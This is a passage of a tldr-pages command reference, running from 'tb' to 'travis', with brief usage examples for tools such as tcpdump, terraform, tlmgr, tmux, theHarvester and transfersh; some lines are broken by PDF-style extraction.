tb --check {{item_id}}

• Archive all checked items:

tb --clear

• Move item to a board:

tb --move @{{item_id}} {{board_name}}


tbl
Table preprocessor for the groff (GNU Troff) document formatting system.

See also groff and troff.

More information: https://manned.org/tbl.

• Process input with tables, saving the output for future typesetting with groff to
PostScript:

tbl {{path/to/input_file}} > {{path/to/output.roff}}

• Typeset input with tables to PDF using the [me] macro package:

tbl -T {{pdf}} {{path/to/input.tbl}} | groff -{{me}} -T


{{pdf}} > {{path/to/output.pdf}}
tcpdump
Dump traffic on a network.

More information: https://www.tcpdump.org.

• List available network interfaces:

tcpdump -D

• Capture the traffic of a specific interface:

tcpdump -i {{eth0}}

• Capture all TCP traffic showing contents (ASCII) in console:

tcpdump -A tcp

• Capture the traffic from or to a host:

tcpdump host {{www.example.com}}

• Capture the traffic from a specific interface, source, destination and destination
port:

tcpdump -i {{eth0}} src {{192.168.1.1}} and dst


{{192.168.1.2}} and dst port {{80}}

• Capture the traffic of a network:

tcpdump net {{192.168.1.0/24}}

• Capture all traffic except traffic over port 22 and save to a dump file:

tcpdump -w {{dumpfile.pcap}} port not {{22}}

• Read from a given dump file:

tcpdump -r {{dumpfile.pcap}}
tcsh
C shell with file name completion and command line editing.

More information: https://manned.org/tcsh.

• Start an interactive shell session:

tcsh

• Start an interactive shell session without loading startup configs:

tcsh -f

• Execute a [c]ommand:

tcsh -c "{{command}}"

• Execute a script:

tcsh {{path/to/script.tcsh}}

• Check a script for syntax errors:

tcsh -n {{path/to/script.tcsh}}

• Print the version:

tcsh --version
tea
A command-line tool to interact with Gitea servers.

More information: https://gitea.com/gitea/tea.

• Log into a Gitea server:

tea login add --name "{{name}}" --url "{{url}}" --token


"{{token}}"

• Display all repositories:

tea repos ls

• Display a list of issues:

tea issues ls

• Display a list of issues for a specific repository:

tea issues ls --repo "{{repository}}"

• Create a new issue:

tea issues create --title "{{title}}" --body "{{body}}"

• Display a list of open pull requests:

tea pulls ls

• Open the current repository in a browser:

tea open
tee
Read from standard input and write to standard output and files (or commands).

More information: https://www.gnu.org/software/coreutils/tee.

• Copy standard input to each file, and also to standard output:

echo "example" | tee {{path/to/file}}

• Append to the given files, do not overwrite:

echo "example" | tee -a {{path/to/file}}

• Print standard input to the terminal, and also pipe it into another program for
further processing:

echo "example" | tee {{/dev/tty}} | {{xargs printf "[%s]"}}

• Create a directory called "example", count the number of characters in "example"


and write "example" to the terminal:

echo "example" | tee >(xargs mkdir) >(wc -c)


telnet
Connect to a specified port of a host using the telnet protocol.

More information: https://manned.org/telnet.

• Telnet to the default port of a host:

telnet {{host}}

• Telnet to a specific port of a host:

telnet {{ip_address}} {{port}}

• Exit a telnet session:

quit

• Emit the default escape character combination for terminating the session:

Ctrl + ]

• Start telnet with "x" as the session termination character:

telnet -e {{x}} {{ip_address}} {{port}}

• Telnet to Star Wars animation:

telnet {{towel.blinkenlights.nl}}
termdown
Countdown timer and stopwatch for the command-line.

More information: https://github.com/trehn/termdown.

• Start a stopwatch:

termdown

• Start a 1 minute and 30 seconds countdown:

termdown {{1m30s}}

• Start a 1 minute 30 seconds countdown with blinking the terminal at the end:

termdown {{1m30s}} --blink

• Show a title above countdown:

termdown {{1m30s}} --title "{{Interesting title}}"

• Display current time:

termdown --time
terminalizer
Utility program which records the terminal and generate animated GIFs or share a
video.

More information: https://terminalizer.com.

• Create the global config directory:

terminalizer init

• Record the terminal and create a recording file:

terminalizer record {{filename}}

• Play a recorded file on the terminal:

terminalizer play {{filename}}

• Render a recording file as an animated GIF image:

terminalizer render {{filename}}

• Upload a video to terminalizer.com:

terminalizer share {{filename}}


terraform fmt
Format configuration according to Terraform language style conventions.

More information: https://www.terraform.io/docs/commands/fmt.html.

• Format the configuration in the current directory:

terraform fmt

• Format the configuration in the current directory and subdirectories:

terraform fmt -recursive

• Display diffs of formatting changes:

terraform fmt -diff

• Do not list files that were formatted to stdout:

terraform fmt -list=false


terraform plan
Generate and show Terraform execution plans.

More information: https://www.terraform.io/docs/cli/commands/plan.html.

• Generate and show the execution plan in the currently directory:

terraform plan

• Show a plan to destroy all remote objects that currently exist:

terraform plan -destroy

• Show a plan to update the Terraform state and output values:

terraform plan -refresh-only

• Specify values for input variables:

terraform plan -var '{{name1}}={{value1}}' -var '{{name2}}


={{value2}}'

• Focus Terraform's attention on only a subset of resources:

terraform plan -target {{resource_type.resource_name[instance


index]}}

• Output a plan as JSON:

terraform plan -json

• Write a plan to a specific file:

terraform plan -no-color > {{path/to/file}}


terraform
Create and deploy infrastructure as code to cloud providers.

More information: https://www.terraform.io/.

• Initialize a new or existing Terraform configuration:

terraform init

• Verify that the configuration files are syntactically valid:

terraform validate

• Format configuration according to Terraform language style conventions:

terraform fmt

• Generate and show an execution plan:

terraform plan

• Build or change infrastructure:

terraform apply

• Destroy Terraform-managed infrastructure:

terraform destroy
terragrunt
Keep your Terraform CLI arguments DRY.

More information: https://terragrunt.gruntwork.io.

• Generate and show an execution plan:

terragrunt plan

• Build or change infrastructure:

terragrunt apply

• Show current deployment (from state):

terragrunt show

• Show module output values:

terragrunt output

• Destroy Terraform-managed infrastructure:

terragrunt destroy

• Build or change infrastructure from a tree of Terragrunt modules (stack):

terragrunt run-all apply


tesseract
OCR (Optical Character Recognition) engine.

More information: https://github.com/tesseract-ocr/tesseract.

• Recognize text in an image and save it to output.txt (the .txt extension is


added automatically):

tesseract {{image.png}} {{output}}

• Specify a custom language (default is English) with an ISO 639-2 code (e.g. deu =
Deutsch = German):

tesseract -l deu {{image.png}} {{output}}

• List the ISO 639-2 codes of available languages:

tesseract --list-langs

• Specify a custom page segmentation mode (default is 3):

tesseract -psm {{0_to_10}} {{image.png}} {{output}}

• List page segmentation modes and their descriptions:

tesseract --help-psm
test
Check file types and compare values.

Returns 0 if the condition evaluates to true, 1 if it evaluates to false.

More information: https://www.gnu.org/software/coreutils/test.

• Test if a given variable is equal to a given string:

test "{{$MY_VAR}}" == "{{/bin/zsh}}"

• Test if a given variable is empty:

test -z "{{$GIT_BRANCH}}"

• Test if a file exists:

test -f "{{path/to/file_or_directory}}"

• Test if a directory does not exist:

test ! -d "{{path/to/directory}}"

• If-else statement:

test {{condition}} && {{echo "true"}} || {{echo "false"}}


testssl
Check SSL/TLS protocols and ciphers supported by a server.

More information: https://testssl.sh/.

• Test a server (run every check) on port 443:

testssl {{example.com}}

• Test a different port:

testssl {{example.com:465}}

• Only check available protocols:

testssl --protocols {{example.com}}

• Only check vulnerabilities:

testssl --vulnerable {{example.com}}

• Only check HTTP security headers:

testssl --headers {{example.com}}


tex
Compile a DVI document from TeX source files.

More information: https://www.tug.org/begin.html.

• Compile a DVI document:

tex {{source.tex}}

• Compile a DVI document, specifying an output directory:

tex -output-directory={{path/to/directory}} {{source.tex}}

• Compile a DVI document, exiting on each error:

tex -halt-on-error {{source.tex}}


texdoc
Search for appropriate documentation for (La)TeX commands or packages.

More information: https://texdoc.org/index.html.

• Open the first search result in the default PDF viewer:

texdoc {{search}}

• List the best search results:

texdoc --list {{search}}

• Open full documentation of texdoc:

texdoc {{texdoc}}
texliveonfly
Downloads missing TeX Live packages while compiling .tex files.

More information: https://ctan.org/pkg/texliveonfly.

• Download missing packages while compiling:

texliveonfly {{source.tex}}

• Use a specific compiler (defaults to pdflatex):

texliveonfly --compiler={{compiler}} {{source.tex}}

• Use a custom TeX Live bin folder:

texliveonfly --texlive_bin={{path/to/texlive_bin}}
{{source.tex}}
textql
Execute SQL against structured text like csv or tsv files.

More information: https://github.com/dinedal/textql.

• Print the lines in the specified .csv file that match a SQL query to stdout:

textql -sql "{{SELECT * FROM filename}}" {{path/to/


filename.csv}}

• Query .tsv file:

textql -dlm=tab -sql "{{SELECT * FROM filename}}" {{path/to/


filename.tsv}}

• Query file with header row:

textql -dlm={{delimiter}} -header -sql "{{SELECT * FROM


filename}}" {{path/to/filename.csv}}

• Read data from stdin:

cat {{path/to/file}} | textql -sql "{{SELECT * FROM stdin}}"

• Join two files on a specified common column:

textql -header -sql "SELECT * FROM {{file1}} JOIN {{file2}}


ON {{file1}}.{{c1}} = {{file2}}.{{c1}} LIMIT {{10}}" -output-
header {{path/to/file1.csv}} {{path/to/file2.csv}}

• Format output using an output delimiter with an output header line:

textql -output-dlm={{delimiter}} -output-header -sql "SELECT


{{column}} AS {{alias}} FROM {{filename}}" {{path/to/
filename.csv}}
theHarvester
A tool designed to be used in the early stages of a penetration test.

More information: https://github.com/laramies/theHarvester.

• Gather information on a domain using Google:

theHarvester --domain {{domain_name}} --source google

• Gather information on a domain using multiple sources:

theHarvester --domain {{domain_name}} --source


{{google,bing,crtsh}}

• Change the limit of results to work with:

theHarvester --domain {{domain_name}} --source {{google}} --


limit {{200}}

• Save the output to two files in XML and HTML format:

theHarvester --domain {{domain_name}} --source {{google}} --


file {{output_file_name}}

• Output all available options:

theHarvester --help
thunderbird
Email client and RSS reader.

More information: https://thunderbird.net.

• Open thunderbird:

thunderbird

• Use a specific user profile:

thunderbird -P {{profile_name}}

• Use a specific user profile directory:

thunderbird --profile {{path/to/profile/directory}}


tig
A text-mode interface for Git.

More information: https://github.com/jonas/tig.

• Show the sequence of commits starting from the current one in reverse
chronological order:

tig

• Show the history of a specific branch:

tig {{branch}}

• Show the history of specific files or directories:

tig {{path1 path2 …}}

• Show the difference between two references (such as branches or tags):

tig {{base_ref}}..{{compared_ref}}

• Display commits from all branches and stashes:

tig --all

• Start in stash view, displaying all saved stashes:

tig stash
time
See how long a command takes.

More information: https://manned.org/time.

• Time "ls":

time ls
timeout
Run a command with a time limit.

More information: https://www.gnu.org/software/coreutils/timeout.

• Run sleep 10 and terminate it, if it runs for more than 3 seconds:

timeout {{3s}} {{sleep 10}}

• Specify the signal to be sent to the command after the time limit expires. (By
default, TERM is sent):

timeout --signal {{INT}} {{5s}} {{sleep 10}}


timetrap
Simple command-line time tracker written in Ruby.

More information: https://github.com/samg/timetrap.

• Create a new timesheet:

timetrap sheet {{timesheet}}

• Check in an entry started 5 minutes ago:

timetrap in --at "{{5 minutes ago}}" {{entry_notes}}

• Display the current timesheet:

timetrap display
timew
A time tracking tool used to measure the duration of activities.

More information: https://timewarrior.net/docs.

• Start a new stopwatch, giving a tag name to the activity being tracked:

timew start {{activity_tag}}

• View running stopwatches:

timew

• Stop the stopwatch with a given tag name:

timew stop {{activity_tag}}

• Stop all running stopwatches:

timew stop

• View tracked items:

timew summary
timidity
TiMidity++ is a MIDI file player and convertor.

More information: http://timidity.sourceforge.net.

• Play a MIDI file:

timidity {{path/to/file.mid}}

• Play a MIDI file in a loop:

timidity --loop {{path/to/file.mid}}

• Play a MIDI file in a specific key (0 = C major/A minor, -1 = F major/D minor, +1 = G


major/E minor, etc.):

timidity --force-keysig={{-flats|+sharps}} {{path/to/


file.mid}}

• Convert a MIDI file to PCM (WAV) audio:

timidity --output-mode={{w}} --output-file={{path/to/


file.wav}} {{path/to/file.mid}}

• Convert a MIDI file to FLAC audio:

timidity --output-mode={{F}} --output-file={{path/to/


file.flac}} {{path/to/file.mid}}
tldr-lint
Lint and format tldr pages.

More information: https://github.com/tldr-pages/tldr-lint.

• Lint all pages:

tldr-lint {{pages_directory}}

• Format a specific page to stdout:

tldr-lint --format {{page.md}}

• Format all pages in place:

tldr-lint --format --in-place {{pages_directory}}


tldr
Displays simple help pages for command-line tools, from the tldr-pages project.

More information: https://tldr.sh.

• Show the tldr page for a command (hint: this is how you got here!):

tldr {{command}}

• Show the tldr page for cd, overriding the default platform:

tldr -p {{android|linux|osx|sunos|windows}} {{cd}}

• Show the tldr page for a subcommand:

tldr {{git-checkout}}

• Update local pages (if the client supports caching):

tldr -u
tldrl
This command is an alias of tldr-lint.

More information: https://github.com/tldr-pages/tldr-lint.

• View documentation for the original command:

tldr tldr-lint
tlmgr arch
This command is an alias of tlmgr platform.

More information: https://www.tug.org/texlive/tlmgr.html.

• View documentation for the original command:

tldr tlmgr platform


tlmgr backup
Manage backups of TeX Live packages.

The default backup location is saved in the backupdir setting, which can be optained
with tlmgr option.

More information: https://www.tug.org/texlive/tlmgr.html.

• Make a backup of one or more packages:

tlmgr backup {{package1 package2 ...}}

• Make a backup of all packages:

tlmgr backup --all

• Make a backup to a specific directory:

tlmgr backup {{package}} --backupdir {{path/to/


backup_directory}}

• Remove a backup of one or more packages:

tlmgr backup clean {{package1 package2 ...}}

• Remove all backups:

tlmgr backup clean --all


tlmgr candidates
Get available candidate repositories from which a TeX Live package can be installed.

More information: https://www.tug.org/texlive/tlmgr.html.

• List all available repositories from which a package can be installed:

tlmgr candidates {{package}}


tlmgr check
Check the consistency of a TeX Live installation.

More information: https://www.tug.org/texlive/tlmgr.html.

• Check the consistency of the whole TeX Live installation:

tlmgr check all

• Check the consistency of the whole TeX Live information in verbose mode:

tlmgr check all -v

• Check for missing dependencies:

tlmgr check depends

• Check if all TeX Live executables are present:

tlmgr check executes

• Check if all files listed in the local TLPDB are present:

tlmgr check files

• Check for duplicate filenames in the runfiles sections:

tlmgr check runfiles


tlmgr gui
Start a graphical user interface for tlmgr.

tlmgr gui depends on the package perl-tk, which has to be installed manually.

More information: https://www.tug.org/texlive/tlmgr.html.

• Start a GUI for tlmgr:

sudo tlmgr gui

• Start a GUI specifying the background color:

sudo tlmgr gui -background "{{#f39bc3}}"

• Start a GUI specifying the foreground color:

sudo tlmgr gui -foreground "{{#0ef3bd}}"

• Start a GUI specifying the font and font size:

sudo tlmgr gui -font "{{helvetica 18}}"

• Start a GUI setting a specific geometry:

sudo tlmgr gui -geometry {{width}}x{{height}}-{{xpos}}+


{{ypos}}

• Start a GUI passing an arbitrary X resource string:

sudo tlmgr gui -xrm {{xresource}}


tlmgr info
Show information about TeX Live packages.

More information: https://www.tug.org/texlive/tlmgr.html.

• List all available TeX Live packages, prefexing installed ones with i:

tlmgr info

• List all available collections:

tlmgr info collections

• List all available schemes:

tlmgr info scheme

• Show information about a specific package:

tlmgr info {{package_name}}

• List all files contained in a specific package:

tlmgr info {{package_name}} --list

• List all installed packages:

tlmgr info --only-installed

• Show only specific information about a package:

tlmgr info {{package_name}} --data "{{name}},{{category}},


{{installed}},{{size}},{{depends}},..."

• Print all available packages as JSON encoded array:

tlmgr info --json


tlmgr install
Install TeX Live packages.

More information: https://www.tug.org/texlive/tlmgr.html.

• Install a package and its dependencies:

sudo tlmgr install {{package}}

• Reinstall a package:

sudo tlmgr install --reinstall {{package}}

• Simulate installing a package without making any changes:

tlmgr install --dry-run {{package}}

• Install a package without its dependencies:

sudo tlmgr install --no-depends {{package}}

• Install a package from a specific file:

sudo tlmgr install --file {{path/to/package}}


tlmgr option
TeX Live settings manager.

More information: https://www.tug.org/texlive/tlmgr.html.

• List all TeX Live settings:

tlmgr option showall

• List all currently set Tex Live settings:

tlmgr option show

• Print all TeX Live settings in JSON format:

tlmgr option showall --json

• Show the value of a specific TeX Live setting:

tlmgr option {{setting}}

• Modify the value of a specific TeX Live setting:

tlmgr option {{setting}} {{value}}

• Set TeX Live to get future updates from the internet after installing from DVD:

tlmgr option {{repository}} {{https://mirror.ctan.org/


systems/texlive/tlnet}}
tlmgr paper
Manage paper size options of an TeX Live installation.

More information: https://www.tug.org/texlive/tlmgr.html.

• Show the default paper size used by all TeX Live programs:

tlmgr paper

• Set the default paper size for all TeX Live programs to A4:

sudo tlmgr paper {{a4}}

• Show the default paper size used by a specific TeX Live program:

tlmgr {{pdftex}} paper

• Set the default paper size for a specific TeX Live program to A4:

sudo tlmgr {{pdftex}} paper {{a4}}

• List all available paper sizes for a specific TeX Live program:

tlmgr {{pdftex}} paper --list

• Dump the default paper size used by all TeX Live programs in JSON format:

tlmgr paper --json


tlmgr path
Add or remove symlinks for TeX Live executables, man pages and info pages.

This command has to be re-run for files added in the future.

More information: https://www.tug.org/texlive/tlmgr.html.

• Add symlinks to TeX Live files:

sudo tlmgr path add

• Remove symlinks to TeX Live files:

sudo tlmgr path remove


tldr platform
Manage TeX Live platforms.

More information: https://www.tug.org/texlive/tlmgr.html.

• List all available platforms in the package repository:

tlmgr platform list

• Add the executables for a specific platform:

sudo tlmgr platform add {{platform}}

• Remove the executables for a specific platform:

sudo tlmgr platform remove {{platform}}

• Auto-detect and switch to the current platform:

sudo tlmgr platform set {{auto}}

• Switch to a specific platform:

sudo tlmgr platform set {{platform}}


tlmgr remove
Uninstall TeX Live packages.

By default, removed packages will be backed up to ./tlpkg/backups under the TL


installation directory.

More information: https://www.tug.org/texlive/tlmgr.html.

• Uninstall a TeX Live package:

sudo tlmgr remove {{package}}

• Simulate uninstalling a package without making any changes:

tlmgr remove --dry-run {{package}}

• Uninstall a package without its dependencies:

sudo tlmgr remove --no-depends {{package}}

• Uninstall a package and back it up to a specific directory:

sudo tlmgr remove --backupdir {{path/to/directory}}


{{package}}

• Uninstall all of TeX Live, asking for confirmation:

sudo tlmgr remove --all


tlmgr shell
Start an interactive shell of the native TeX Live manager.

More information: https://www.tug.org/texlive/tlmgr.html.

• Start an interactive shell of tlmgr:

tlmgr shell

• Run any tlmgr sub-command in the interactive shell:

{{sub_command}} {{arguments}}

• Quit the interactive shell:

quit

• List all TeX Live variables:

get

• Get the value of a TeX Live variable:

get {{variable}}

• Set the value of a TeX Live variable:

set {{variable}} {{value}}

• Restart the interactive shell:

restart

• Print the version of the current protocoll:

protocol
tlmgr update
Update TeX Live packages.

More information: https://www.tug.org/texlive/tlmgr.html.

• Update all TeX Live packages:

sudo tlmgr update --all

• Update tlmgr itself:

sudo tlmgr update --self

• Update a specific package:

sudo tlmgr update {{package}}

• Update all except a specific package:

sudo tlmgr update --all --exclude {{package}}

• Update all packages, making a backup of the current packages:

sudo tlmgr update --all --backup

• Update a specific package without updating its dependencies:

sudo tlmgr update --no-depends {{package}}

• Simulate updating all packages without making any changes:

sudo tlmgr update --all --dry-run


tlmgr
Manages packages and configuration options of an existing TeX Live installation.

Some subcommands such as tlmgr paper have their own usage documentation.

More information: https://www.tug.org/texlive/tlmgr.html.

• Install a package and its dependencies:

tlmgr install {{package}}

• Remove a package and its dependencies:

tlmgr remove {{package}}

• Display information about a package:

tlmgr info {{package}}

• Update all packages:

tlmgr update --all

• Show possible updates without updating anything:

tlmgr update --list

• Start a GUI version of tlmgr:

tlmgr gui

• List all TeX Live configurations:

tlmgr conf
tmpmail
A temporary email right from your terminal written in POSIX sh.

More information: https://github.com/sdushantha/tmpmail.

• Create a temporary inbox:

tmpmail --generate

• List messages and their numeric ID:

tmpmail

• Display the most recent received email:

tmpmail --recent

• Open a specific message:

tmpmail {{email_id}}

• View email as raw text without HTML tags:

tmpmail --text

• Open email with a specific browser (default is w3m):

tmpmail --browser {{browser}}


tmux
Terminal multiplexer. It allows multiple sessions with windows, panes, and more.

See also zellij and screen.

More information: https://github.com/tmux/tmux.

• Start a new session:

tmux

• Start a new named session:

tmux new -s {{name}}

• List existing sessions:

tmux ls

• Attach to the most recently used session:

tmux attach

• Detach from the current session (inside a tmux session):

Ctrl-B d

• Create a new window (inside a tmux session):

Ctrl-B c

• Switch between sessions and windows (inside a tmux session):

Ctrl-B w

• Kill a session by name:

tmux kill-session -t {{name}}


tmuxinator
Create and manage tmux sessions easily.

More information: https://github.com/tmuxinator/tmuxinator.

• Create a new project:

tmuxinator new {{project}}

• Edit a project:

tmuxinator edit {{project}}

• List projects:

tmuxinator list

• Start a tmux session based on project:

tmuxinator start {{project}}

• Stop a project's tmux session:

tmuxinator stop {{project}}


todo
A simple, standards-based, cli todo manager.

More information: https://todoman.readthedocs.io.

• List startable tasks:

todo list --startable

• Add a new task to the work list:

todo new {{thing_to_do}} --list {{work}}

• Add a location to a task with a given ID:

todo edit --location {{location_name}} {{task_id}}

• Show details about a task:

todo show {{task_id}}

• Mark tasks with the specified IDs as completed:

todo done {{task_id1 task_id2 ...}}

• Delete a task:

todo delete {{task_id}}

• Delete done tasks and reset the IDs of the remaining tasks:

todo flush
todoist
Access Todoist from the command-line.

More information: https://github.com/sachaos/todoist.

• Add a task:

todoist add "{{task_name}}"

• Add a high priority task with a label, project, and due date:

todoist add "{{task_name}}" --priority {{1}} --label-ids


"{{label_id}}" --project-name "{{project_name}}" --date
"{{tmr 9am}}"

• Add a high priority task with a label, project, and due date in quick mode:

todoist quick '#{{project_name}} "{{tmr 9am}}" p{{1}}


{{task_name}} @{{label_name}}'

• List all tasks with a header and color:

todoist --header --color list

• List all high priority tasks:

todoist list --filter p{{1}}

• List today's tasks with high priority that have the specified label:

todoist list --filter '(@{{label_name}} | {{today}}) &


p{{1}}'
todoman
A simple, standards-based, cli todo manager.

todoman is a common name for the command todo, but not a command itself.

More information: https://todoman.readthedocs.io/.

• View documentation for the actual command:

tldr todo
tokei
A program that prints out statistics about code.

More information: https://github.com/XAMPPRocky/tokei.

• Get a report on the code in a directory and all subdirectories:

tokei {{path/to/directory}}

• Get a report for a directory excluding .min.js files:

tokei {{path/to/directory}} -e {{*.min.js}}

• Print out statistics for individual files in a directory:

tokei {{path/to/directory}} --files

• Get a report for all files of type Rust and Markdown:

tokei {{path/to/directory}} -t={{Rust}},{{Markdown}}


topgrade
Update all applications on the system.

More information: https://github.com/r-darwish/topgrade.

• Run updates:

topgrade

• Say yes to all updates:

topgrade -y

• Cleanup temporary/old files:

topgrade -c

• Disable a certain update operation:

topgrade --disable {{operation}}

• Only perform a certain update operation:

topgrade --only {{operation}}

• Edit the config file with default editor:

topgrade --edit-config
topydo
A to-do list application that uses the todo.txt format.

More information: https://github.com/topydo/topydo.

• Add a to-do to a specific project with a given context:

topydo add "{{todo_message}} +{{project_name}}


@{{context_name}}"

• Add a to-do with a due date of tomorrow with a priority of A:

topydo add "(A) {{todo _message}} due:{{1d}}"

• Add a to-do with a due date of Friday:

topydo add "{{todo_message}} due:{{fri}}"

• Add a non-strict repeating to-do (next due = now + rec):

topydo add "water flowers due:{{mon}} rec:{{1w}}"

• Add a strict repeating to-do (next due = current due + rec):

topydo add "{{todo_message}} due:{{2020-01-01}} rec:{{+1m}}"

• Revert the last topydo command executed:

topydo revert
touch
Change a file access and modification times (atime, mtime).

More information: https://www.gnu.org/software/coreutils/touch.

• Create a new empty file(s) or change the times for existing file(s) to current time:

touch {{path/to/file}}

• Set the times on a file to a specific date and time:

touch -t {{YYYYMMDDHHMM.SS}} {{path/to/file}}

• Set the time on a file to one hour in the past:

touch -d "{{-1 hour}}" {{path/to/file}}

• Use the times from a file to set the times on a second file:

touch -r {{path/to/file1}} {{path/to/file2}}

• Create multiple files:

touch {{path/to/file{1,2,3}.txt}}
tox
Automate Python testing across multiple Python versions.

Use tox.ini to configure environments and test command.

More information: https://github.com/tox-dev/tox.

• Run tests on all test environments:

tox

• Create a tox.ini configuration:

tox-quickstart

• List the available environments:

tox --listenvs-all

• Run tests on a specific environment (e.g. python 3.6):

tox -e {{py36}}

• Force the virtual environment to be recreated:

tox --recreate -e {{py27}}


tpp
Command-Line based presentation tool.

More information: https://github.com/cbbrowne/tpp.

• View a presentation:

tpp {{filename}}

• Output a presentation:

tpp -t {{type}} -o {{outputname}} {{filename}}


tput
View and modify terminal settings and capabilities.

More information: https://manned.org/tput.

• Move the cursor to a screen location:

tput cup {{y_coordinate}} {{x_coordinate}}

• Set foreground (af) or background (ab) color:

tput {{setaf|setab}} {{ansi_color_code}}

• Show number of columns, lines, or colors:

tput {{cols|lines|colors}}

• Ring the terminal bell:

tput bel

• Reset all terminal attributes:

tput sgr0

• Enable / Disable word wrap:

tput {{smam|rmam}}
tr
Translate characters: run replacements based on single characters and character sets.

More information: https://www.gnu.org/software/coreutils/tr.

• Replace all occurrences of a character in a file, and print the result:

tr {{find_character}} {{replace_character}} < {{filename}}

• Replace all occurrences of a character from another command's output:

echo {{text}} | tr {{find_character}} {{replace_character}}

• Map each character of the first set to the corresponding character of the second
set:

tr '{{abcd}}' '{{jkmn}}' < {{filename}}

• Delete all occurrences of the specified set of characters from the input:

tr -d '{{input_characters}}' < {{filename}}

• Compress a series of identical characters to a single character:

tr -s '{{input_characters}}' < {{filename}}

• Translate the contents of a file to upper-case:

tr "[:lower:]" "[:upper:]" < {{filename}}

• Strip out non-printable characters from a file:

tr -cd "[:print:]" < {{filename}}


traceroute
Print the route packets trace to network host.

More information: https://manned.org/traceroute.

• Traceroute to a host:

traceroute {{host}}

• Disable IP address and host name mapping:

traceroute -n {{host}}

• Specify wait time for response:

traceroute -w {{0.5}} {{host}}

• Specify number of queries per hop:

traceroute -q {{5}} {{host}}

• Specify size in bytes of probing packet:

traceroute {{host}} {{42}}


traefik
An HTTP reverse proxy and load balancer.

More information: https://traefik.io.

• Start server with default config:

traefik

• Start server with a custom config file:

traefik --c {{config_file}}.toml

• Start server with cluster mode enabled:

traefik --cluster

• Start server with web UI enabled:

traefik --web
trans
Translate Shell is a command-line translator.

More information: https://github.com/soimort/translate-shell.

• Translate a word (language is detected automatically):

trans "{{word_or_sentence_to_translate}}"

• Get a brief translation:

trans --brief "{{word_or_sentence_to_translate}}"

• Translate a word into french:

trans :{{fr}} {{word}}

• Translate a word from German to English:

trans {{de}}:{{en}} {{Schmetterling}}

• Behave like a dictionary to get the meaning of a word:

trans -d {{word}}
transcode
Transcode video and audio codecs, and convert between media formats.

More information: https://manned.org/transcode.

• Create stabilisation file to be able to remove camera shakes:

transcode -J stabilize -i {{input_file}}

• Remove camera shakes after creating stabilisation file, transform video using
XviD:

transcode -J transform -i {{input_file}} -y xvid -o


{{output_file}}

• Resize the video to 640x480 pixels and convert to MPEG4 codec using XviD:

transcode -Z 640x480 -i {{input_file}} -y xvid -o


{{output_file}}
transcrypt
Transparently encrypt files within a Git repository.

More information: https://github.com/elasticdog/transcrypt.

• Initialize an unconfigured repository:

transcrypt

• List the currently encrypted files:

git ls-crypt

• Display the credentials of a configured repository:

transcrypt --display

• Initialize and decrypt a fresh clone of a configured repository:

transcrypt --cipher={{cipher}}

• Rekey to change the encryption cipher or password:

transcrypt --rekey
transfersh
An unofficial command-line client for transfer.sh.

More information: https://github.com/AlpixTM/transfersh.

• Upload a file to transfer.sh:

transfersh {{path/to/file}}

• Upload a file showing a progress bar (requires Python package


requests_toolbelt):

transfersh --progress {{path/to/file}}

• Upload a file using a different file name:

transfersh --name {{filename}} {{path/to/file}}

• Upload a file to a custom transfer.sh server:

transfersh --servername {{upload.server.name}} {{path/to/


file}}

• Upload all files from a directory recursively:

transfersh --recursive {{path/to/directory/}}

• Upload a specific directory as an uncompressed tar:

transfersh -rt {{path/to/directory}}


transmission-cli
A lightweight, command-line BitTorrent client.

This tool has been deprecated, please see transmission-remote.

More information: https://transmissionbt.com.

• Download a specific torrent:

transmission-cli {{url|magnet|path/to/file}}

• Download a torrent to a specific directory:

transmission-cli --download-dir {{path/to/


download_directory}} {{url|magnet|path/to/file}}

• Create a torrent file from a specific file or directory:

transmission-cli --new {{path/to/source_file_or_directory}}

• Set the download speed limit to 50 KB/s:

transmission-cli --downlimit {{50}} {{url|magnet|path/to/


file}}

• Set the upload speed limit to 50 KB/s:

transmission-cli --uplimit {{50}} {{url|magnet|path/to/file}}

• Use a specific port for connections:

transmission-cli --port {{port_number}} {{url|magnet|path/to/


file}}

• Force encryption for peer connections:

transmission-cli --encryption-required {{url|magnet|path/to/


file}}

• Use a Bluetack-formatted peer blocklist:

transmission-cli --blocklist {{blocklist_url|path/to/


blocklist}} {{url|magnet|path/to/file}}
transmission-create
A CLI utility to create BitTorrent .torrent files.

More information: https://manned.org/transmission-create.

• Create a torrent with 2048 KB as the piece size:

transmission-create -o {{path/to/example.torrent}} --tracker


{{tracker_announce_url}} --piecesize {{2048}} {{path/to/
file_or_directory}}

• Create a private torrent with a 2048 KB piece size:

transmission-create -p -o {{path/to/example.torrent}} --
tracker {{tracker_announce_url}} --piecesize {{2048}} {{path/
to/file_or_directory}}

• Create a torrent with a comment:

transmission-create -o {{path/to/example.torrent}} --tracker


{{tracker_url1}} -c {{comment}} {{path/to/file_or_directory}}

• Create a torrent with multiple trackers:

transmission-create -o {{path/to/example.torrent}} --tracker


{{tracker_url1}} --tracker {{tracker_url2}} {{path/to/
file_or_directory}}

• Show help page:

transmission-create --help
transmission-remote
Remote control utility for transmission-daemon and transmission.

More information: https://transmissionbt.com.

• Add a torrent file or magnet link to Transmission and download to a specified


directory:

transmission-remote {{hostname}} -a {{torrent|url}} -w {{/


path/to/download_directory}}

• Change the default download directory:

transmission-remote {{hostname}} -w {{/path/to/


download_directory}}

• List all torrents:

transmission-remote {{hostname}} --list

• Start torrent 1 and 2, stop torrent 3:

transmission-remote {{hostname}} -t "{{1,2}}" --start -t


{{3}} --stop

• Remove torrent 1 and 2, and also delete local data for torrent 2:

transmission-remote {{hostname}} -t {{1}} --remove -t {{2}}


--remove-and-delete

• Stop all torrents:

transmission-remote {{hostname}} -t {{all}} --stop

• Move torrents 1-10 and 15-20 to a new directory (which will be created if it does
not exist):

transmission-remote {{hostname}} -t "{{1-10,15-20}}" --move


{{/path/to/new_directory}}
trap
Automatically execute commands after receiving signals by processes or the operating
system.

Can be used to perform cleanups for interruptions by the user or other actions.

More information: https://manned.org/trap.

• List available signals to set traps for:

trap -l

• List active traps for the current shell:

trap -p

• Set a trap to execute commands when one or more signals are detected:

trap 'echo "Caught signal {{SIGHUP}}"' {{SIGHUP}}

• Remove active traps:

trap - {{SIGHUP}} {{SIGINT}}


trash-cli
A command-line interface to the trashcan APIs.

More information: https://github.com/andreafrancia/trash-cli.

• Trash files and directories:

trash-put {{filename}}

• Empty the trashcan:

trash-empty

• List trashed files:

trash-list

• Restore a trashed file by choosing a number from the list that results from this
command:

trash-restore

• Remove individual files from the trashcan:

trash-rm {{filename}}
travis
Command-line client to interface with Travis CI.

More information: https://github.com/travis-ci/travis.rb.

• Display the client version:

travis version

• Authenticate the CLI client against the server, using an authentication token:

